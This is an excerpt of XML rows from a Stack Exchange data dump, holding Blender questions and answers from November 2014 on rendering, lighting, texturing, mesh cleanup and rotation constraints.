  <row Id="18895" PostTypeId="2" ParentId="18884" CreationDate="2014-11-15T18:53:04.527" Score="2" Body="&lt;p&gt;This is a common issue, and without the .blend file, my first guess would be this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have clips in the &lt;em&gt;Video Sequence Editor&lt;/em&gt; and under &lt;em&gt;Render Settings &gt; Post Processing&lt;/em&gt; you have &lt;em&gt;Sequencer&lt;/em&gt; checked. Un-check that box:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BmWd5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2014-11-15T18:53:04.527" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18896" PostTypeId="2" ParentId="18880" CreationDate="2014-11-15T19:00:35.880" Score="5" Body="&lt;p&gt;You coud mix a diffuse shader with an emission shader using a gradient ramp.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6PAo2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rSUeI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2014-11-15T19:00:35.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18897" PostTypeId="2" ParentId="18882" CreationDate="2014-11-15T19:07:20.600" Score="1" Body="&lt;p&gt;Assuming the players position is fixed you could create an animation and rotate the camera say in 5° steps horizontally (72 frames) then repeat this process with added vertical rotation (36 frames). You would need to render 72*36 = 2592 frames. Hm, this seems to require too much space on disk and time to load.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next idea would be to render a panorama. &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/5681/add-a-panoramic-background-to-scene-in-cycles&quot;&gt;Add a panoramic background to scene in Cycles&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then use this in the BGE as described here:&#xA;&lt;a href=&quot;http://blendersushi.blogspot.de/2012/10/bge-creating-360-video-panorama-viewer.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;BGE / Creating 360 Video Panorama Viewer&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.533" LastActivityDate="2014-11-15T19:07:20.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18898" PostTypeId="2" ParentId="18884" CreationDate="2014-11-15T19:22:08.023" Score="8" Body="&lt;p&gt;The sun lamp's position, inside the room, doesn't affect where the sun's light is actually &lt;em&gt;emitted&lt;/em&gt; from, it only controls the direction. To quote the &lt;a href=&quot;http://www.blender.org/manual/render/cycles/lamps.html#sun-lamp&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender manual&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Sun lamps emit light in a given direction. Their position is not taken&#xA;  into account; they are always located outside of the scene, infinitely&#xA;  far away, and will not result in any distance falloff.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So the light is being cast onto the outside of your room and not getting through the walls to the inside. You can see this by looking at the outside of the room while in 'Rendered' mode of the 3D viewport. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve this, you can either disable the 'ceiling' from casting a shadow by changing the 'Ray Visibility' options on the 'Object' tab in the properties space:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YJ641.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, change the type of light from sun to something else, like 'Point' or 'Area', whose positions &lt;em&gt;are&lt;/em&gt; taken into account. You can also just set any object to emit light, like a plane, by giving it an emission shader.&lt;/p&gt;&#xA;" OwnerUserId="241" LastEditorUserId="3710" LastEditDate="2015-07-30T15:32:22.420" LastActivityDate="2015-07-30T15:32:22.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18899" PostTypeId="1" CreationDate="2014-11-15T20:24:41.570" Score="1" ViewCount="223" Body="&lt;p&gt;I want to hide a part of a mesh like the red part on the picture below :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rAzTi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I can do that with the compositor by rendering a mask, but I would like to know if I can do that directly trough a material.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;using a transparent shader is not a solution, see the picture below :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/1H8DU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6220" LastEditorUserId="6220" LastEditDate="2014-11-15T20:58:19.630" LastActivityDate="2014-11-16T00:09:43.637" Title="can I use the background as texture?" Tags="&lt;cycles-render-engine&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18900" PostTypeId="2" ParentId="18899" CreationDate="2014-11-15T20:35:04.883" Score="3" Body="&lt;p&gt;Just assign a fully transparent material to that part of the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mNeSk.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="822" LastActivityDate="2014-11-15T20:35:04.883" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="18903" PostTypeId="2" ParentId="18899" CreationDate="2014-11-15T23:21:36.303" Score="1" Body="&lt;p&gt;Instead of using a mask you could also use a holdout shader. But if you are using a holdout shader you still have to do compositing later.&lt;/p&gt;&#xA;" OwnerUserId="6310" LastEditorUserId="6310" LastEditDate="2014-11-15T23:28:41.307" LastActivityDate="2014-11-15T23:28:41.307" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="18904" PostTypeId="1" AcceptedAnswerId="18906" CreationDate="2014-11-15T23:38:33.790" Score="2" ViewCount="19849" Body="&lt;p&gt;For some reason, when I try to put a texture (picture) on any object, it doesn't work. Here are the steps I took to put a grass texture on a plane:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1: I made a new texture for the plane&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2: I set the type to image or movie&lt;/p&gt;&#xA;&#xA;&lt;p&gt;3: I opened my Jpeg file&lt;/p&gt;&#xA;&#xA;&lt;p&gt;4: I even tried rendering, it won't show up!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screenshot of when the texture won't load:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zUYpN.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some other texture-related things that won't work for me (even when I follow the exact steps on a video tutorial):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Texture painting&lt;/li&gt;&#xA;&lt;li&gt;Cube textures&lt;/li&gt;&#xA;&lt;li&gt;Skydomes (spherical maps)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Any ideas on why this isn't working? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="6238" LastActivityDate="2017-07-09T23:59:48.640" Title="Why won't textures work?" Tags="&lt;texturing&gt;&lt;texture-painting&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18905" PostTypeId="1" AcceptedAnswerId="18922" CreationDate="2014-11-15T23:39:23.130" Score="5" ViewCount="1489" Body="&lt;p&gt;I must be doing something wrong here, but for some reason in blender 2.72/2.72b the anisotropy shader is acting no different from a glossy shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a comparison:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/P6n1q.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, there is no difference.  I have tried all distributions and tangents and adjusting the rotation to no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my nodes:  &lt;img src=&quot;https://i.stack.imgur.com/16jLP.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have not used any anisotropy since 2.72 came out and just opened up a simple scene I have not worked on for a while and noticed that none of the anisotropy is working as before.&lt;br&gt;&#xA;Here is the scene I noticed it on:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4aIbd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;br&gt;&#xA;The second render is the one I want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anisotropy done differently in 2.72, or is this a bug?  I am inclined to think this is not a bug since somebody should have reported it by now, and one of the new things in 2.72 is the new Ashikhmin-Shirley distribution.&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2014-11-16T00:17:05.837" LastActivityDate="2015-02-21T09:28:05.433" Title="How do I get anisotropy to work in 2.72?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="12" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18906" PostTypeId="2" ParentId="18904" CreationDate="2014-11-15T23:51:52.370" Score="6" Body="&lt;p&gt;&lt;strong&gt;You have to unwrap the object and give it a &lt;em&gt;material&lt;/em&gt; with the texture for it to show up.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you have to tell blender how to put a 2D texture on a 3D object by &lt;em&gt;unwrapping&lt;/em&gt; it, which means selecting edges where the mesh will be cut to flatten it.  This is done by going into edit mode, selecting the edges, hit &lt;kbd&gt;Ctrl.&lt;/kbd&gt;+&lt;kbd&gt;E&lt;/kbd&gt; &gt; &lt;em&gt;mark seam&lt;/em&gt;, then &lt;kbd&gt;U&lt;/kbd&gt; &gt; &lt;em&gt;unwrap&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qJmri.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/21xNI.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you have to give it a material with the texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If you are using the cycles render engine&lt;/strong&gt; this is done by first going to the &lt;em&gt;materials&lt;/em&gt; panel of the properties view and clicking &lt;em&gt;New&lt;/em&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/74QMb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then switch to the &lt;em&gt;node editor&lt;/em&gt; and add an &lt;em&gt;image texture&lt;/em&gt; node by hitting &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;em&gt;texture&lt;/em&gt; &gt; &lt;em&gt;image texture&lt;/em&gt;.  Then add a diffuse shader &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;A&lt;/kbd&gt; &gt; &lt;em&gt;shader&lt;/em&gt; &gt; &lt;em&gt;Diffuse BSDF&lt;/em&gt;, plug the &lt;em&gt;color&lt;/em&gt; output of the image texture into the &lt;em&gt;color&lt;/em&gt; input of the diffuse and the &lt;em&gt;BSDF&lt;/em&gt; of the diffuse into the &lt;em&gt;BSDF&lt;/em&gt; of the &lt;em&gt;material output&lt;/em&gt;.&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UOqeq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5705" LastEditorUserId="5705" LastEditDate="2014-11-16T02:26:33.987" LastActivityDate="2014-11-16T02:26:33.987" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="18908" PostTypeId="2" ParentId="18899" CreationDate="2014-11-16T00:03:40.517" Score="0" Body="&lt;p&gt;I found a way to achieve, what I think is what you want, using the Transparency depth output of the Light Path node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LrErB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this to work, you need to create to new materials for you object:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/83AhZ.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZoIXp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Material 2 is assigned to the front face, and Material 1 to everything else on the cube. The back cube and the floor have a different material assigned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Light Path node gives your material information about the current ray that is being cast through your scene (Cycles casts virtual light rays through the scene for physically correct rendering). The Transparency depth for the ray increases every time this ray passes through a transparent shader (the front face of the cube in this example). Now we can pass that information into a mix shader to control make the material transparent for light rays, that already passsed through a transparent layer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please note, that any transparency in the scene will affect Material 1, making it invisible. If you want to make a different object disappear, just assign Material 1 to it and you can use a transparent object to hide parts of it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are obviously a couple of things to tweak about this setup, but I think it's a start.&lt;/p&gt;&#xA;" OwnerUserId="6310" LastEditorUserId="6310" LastEditDate="2014-11-16T00:09:43.637" LastActivityDate="2014-11-16T00:09:43.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18909" PostTypeId="1" CreationDate="2014-11-16T00:06:45.417" Score="1" ViewCount="366" Body="&lt;p&gt;Here is my model in normal state. No deformations.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Lxvxb.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second I rotate at this point we get this deformation. No other part of my mesh has this problem.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tlCeB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the same mesh but backwards.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9WRoz.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the weight paint. It's mirrored on the other side.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/f5q3A.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And the geometry if it will help.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/kLFER.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks as if something is stuck there and is causing this problem. looked around the problem area and I can't find any out of place geometry. Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to the .blend file.&#xA;&lt;a href=&quot;http://pasteall.org/blend/32923&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pasteall.org/blend/32923&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8020" LastEditorUserId="8020" LastEditDate="2014-11-17T21:15:19.753" LastActivityDate="2014-11-17T21:15:19.753" Title="Odd Deformation With Weight Paint" Tags="&lt;weight-painting&gt;" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="18910" PostTypeId="1" CreationDate="2014-11-16T00:11:14.010" Score="1" ViewCount="1801" Body="&lt;p&gt;I'm working on CG geeks forest road tut. The final render is black and It's a mat problem not a lighting thing like I just thought. In textured view it looks fine. I've attached screenshots. what have I messed up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Iibhc.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cjqoI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8021" LastEditorUserId="599" LastEditDate="2014-11-16T01:11:33.620" LastActivityDate="2014-11-16T01:11:33.620" Title="Material renders as black, but looks fine in textured view?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;materials&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18911" PostTypeId="1" CreationDate="2014-11-16T00:37:01.160" Score="3" ViewCount="1619" Body="&lt;p&gt;My file won't render. My last file rendered fine and when I pressed F12 just to have a idea of how it looked. But now when I'm finished it won't render anything at all. I'm using Blender 2.72 and I'm new to blender. It just stays like this when i try to render. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0mOYm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="8022" LastEditorUserId="599" LastEditDate="2014-11-16T00:48:51.973" LastActivityDate="2014-11-16T00:48:51.973" Title="Nothing appears when trying to render, hangs on 'Occlusion preprocessing'" Tags="&lt;rendering&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18912" PostTypeId="2" ParentId="18911" CreationDate="2014-11-16T00:46:15.167" Score="3" Body="&lt;p&gt;It's still preparing. Notice the progress indicator in your screenshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KBaN4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will often take a long time when rendering effects like indirect lighting (sometimes I've had it take up to 10 minutes), especially on large scenes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To help reduce this time, try disabling some effects in the &lt;em&gt;world&lt;/em&gt; panel, or increasing the error tolerance:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qgHRo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-11-16T00:46:15.167" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18913" PostTypeId="2" ParentId="18910" CreationDate="2014-11-16T01:10:48.427" Score="1" Body="&lt;p&gt;According to your screenshot, you don't have an &lt;em&gt;output node&lt;/em&gt; in your material:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rQprP.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Add one by going to the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Nodes/Editor&quot; rel=&quot;nofollow noreferrer&quot;&gt;node editor&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;To get the nod editor, either press &lt;kbd&gt;F3&lt;/kbd&gt; while hovering over an area which you want to make a node editor, or by selecting the area type from the dropdown in the header:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lQEoZ.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then press &lt;kbd&gt;⇧ Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&amp;gt; Output &amp;gt; Material output&lt;/em&gt; to add an output node:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q0nTn.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Connect the output of your shader to the  &lt;em&gt;surface&lt;/em&gt; input of the output node:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LbZo7.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-11-16T01:10:48.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18916" PostTypeId="1" CreationDate="2014-11-16T03:03:32.490" Score="28" ViewCount="90770" Body="&lt;p&gt;I built something Minecraft style model by cubes. Now I met a problem: when I'm trying to remove all interior faces, it appears that some exterior faces are influenced inevitably. I wonder if there is some better way to do it better.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ErSgd.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S.: There are three things I've tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Non-manifold checking (Ctrl Shift Alt M)&lt;/li&gt;&#xA;&lt;li&gt;Select Interior Faces (Select -&gt; Interior Faces)&lt;/li&gt;&#xA;&lt;li&gt;3D Print Toolbox (Addon)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I didn't work it out so far, which leaves me no choice but manually deselect those faces I didn't want to remove, which takes quite a bit time for other cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r97Zu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are answers like this &lt;a href=&quot;https://blender.stackexchange.com/q/6945/696&quot;&gt;Merge touching faces on model&lt;/a&gt;. But I don't think it works exactly in my case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/2001/&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=2001&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT: Is there any faster way than enabling &lt;strong&gt;Limited Selection to Visible&lt;/strong&gt; then manually deselect them from different views? (it will not work effectively in complex cases that require similar need)&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2020-07-22T15:32:18.650" Title="How to remove interior faces while keeping exterior faces untouched?" Tags="&lt;modeling&gt;" AnswerCount="8" CommentCount="4" FavoriteCount="13" ContentLicense="CC BY-SA 3.0" />
  <row Id="18917" PostTypeId="2" ParentId="18916" CreationDate="2014-11-16T04:01:22.747" Score="1" Body="&lt;p&gt;Limit selection to visible.&lt;br&gt;&#xA;Use circle or border select to select all the faces you can see.&lt;br&gt;&#xA;Rotate the mesh and do the circle or border select again.&lt;br&gt;&#xA;Repeat until all exterior faces are selected.&lt;br&gt;&#xA;Invert selection.&lt;br&gt;&#xA;Delete faces.&lt;/p&gt;&#xA;" OwnerDisplayName="user7952" LastActivityDate="2014-11-16T04:01:22.747" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="18918" PostTypeId="2" ParentId="18916" CreationDate="2014-11-16T04:07:11.603" Score="2" Body="&lt;p&gt;This is actually quite simple, switch to &lt;em&gt;Face&lt;/em&gt; select, select everything and then using &lt;kbd&gt;MMB&lt;/kbd&gt; &lt;strong&gt;&lt;em&gt;and&lt;/em&gt;&lt;/strong&gt; making sure &lt;em&gt;Limit Selection to Visible&lt;/em&gt; is ticked (this prevents any face not being from being selected), orbit around the model and deselect all outer faces, then use &lt;kbd&gt;X&lt;/kbd&gt; to delete the inner faces.&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2014-11-16T04:07:11.603" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18919" PostTypeId="1" CreationDate="2014-11-16T04:25:00.573" Score="0" ViewCount="106" Body="&lt;p&gt;I have two &quot;wings&quot; that are mirrored versions of each other, the difference being all the &quot;left&quot; and &quot;right&quot; bones have .R or .L respectively; however copy'ing and pasting pose data seems to only work if they have identical names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Sadly I still do not see a solution.&lt;/p&gt;&#xA;" OwnerUserId="5263" LastEditorUserId="5263" LastEditDate="2014-11-26T00:21:32.190" LastActivityDate="2014-11-26T00:21:32.190" Title="Bones need to be named exactly the same to copy pose data?" Tags="&lt;armature&gt;" AnswerCount="0" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18921" PostTypeId="1" AcceptedAnswerId="18923" CreationDate="2014-11-16T07:00:46.163" Score="4" ViewCount="3960" Body="&lt;p&gt;I'm trying to make a sphere roll diagonally but the sphere rotates oddly. I assume this is because it is rotating relative to the sphere's axis rather than the world's.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to get a sphere to rotate evenly along two axis? If you can't, is it possible to use an empty and rotate it based on that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: This is what it does with the correct rotations on the y- and x-axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://minus.com/i/iUqJl0iHl3y6&quot; rel=&quot;nofollow&quot;&gt;http://minus.com/i/iUqJl0iHl3y6&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8025" LastEditorUserId="8025" LastEditDate="2014-11-16T08:52:54.880" LastActivityDate="2014-11-16T17:47:21.507" Title="Rotate a sphere diagonally (both around x and y axis)" Tags="&lt;animation&gt;&lt;objects&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18922" PostTypeId="2" ParentId="18905" CreationDate="2014-11-16T07:21:26.337" Score="6" Body="&lt;p&gt;You need some roughness for the anisotropy to be visible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pOedL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I understand it, anisotropic shading simulates the way light reflects off objects with fine grooves like on CD/DVDs or machined cylindrical objects. Without any roughness, the surface is considered smooth (no grooves).&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-11-16T07:28:47.023" LastActivityDate="2014-11-16T07:28:47.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18923" PostTypeId="2" ParentId="18921" CreationDate="2014-11-16T09:08:44.000" Score="10" Body="&lt;p&gt;This is because you seem to want to rotate around a custom axis, rather than two axes at once.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to do this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Align one of the object's local axes to the axis you wish to rotate around. If you don't want to rotate your actual mesh, see &lt;a href=&quot;https://blender.stackexchange.com/q/10877/599&quot;&gt;Set rotation values without applying them&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this screenshot I've rotate a sphere so that it's local Z is aligned around the axis I wish to roll it along:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dKHgS.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add an empty and animate it spinning around the axis you aligned (so in this case I've animated it rotating 360&amp;deg; around the Z)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a &lt;em&gt;copy rotation&lt;/em&gt; constraint to the sphere and select the empty as the target (note that you can press &lt;kbd&gt;E&lt;/kbd&gt; while hovering over the object selection drop down to select an object in the 3D view). Then disable the axes you don't want to be copied and set the rotation to be &quot;pasted&quot; in the sphere's local space:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ghX6s.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Animate the location of the sphere and you are good to go. Note that the sphere has no rotation keyframes, the rotation is done on the empty and copied with the constraint.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pCECX.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;To explain what is happening when you rotate around two axes at once, hopefully this gif can make it clearer:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Hmela.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;It's hard to explain :P&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The gray Suzanne represents your sphere. Note that it rotates 360&amp;deg; around the Z and 360&amp;amp;deg around the X. Rotating around these axes will not make it rotate around a imaginary diagonal like you seem to expecting.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2014-11-16T17:47:21.507" CommentCount="4" 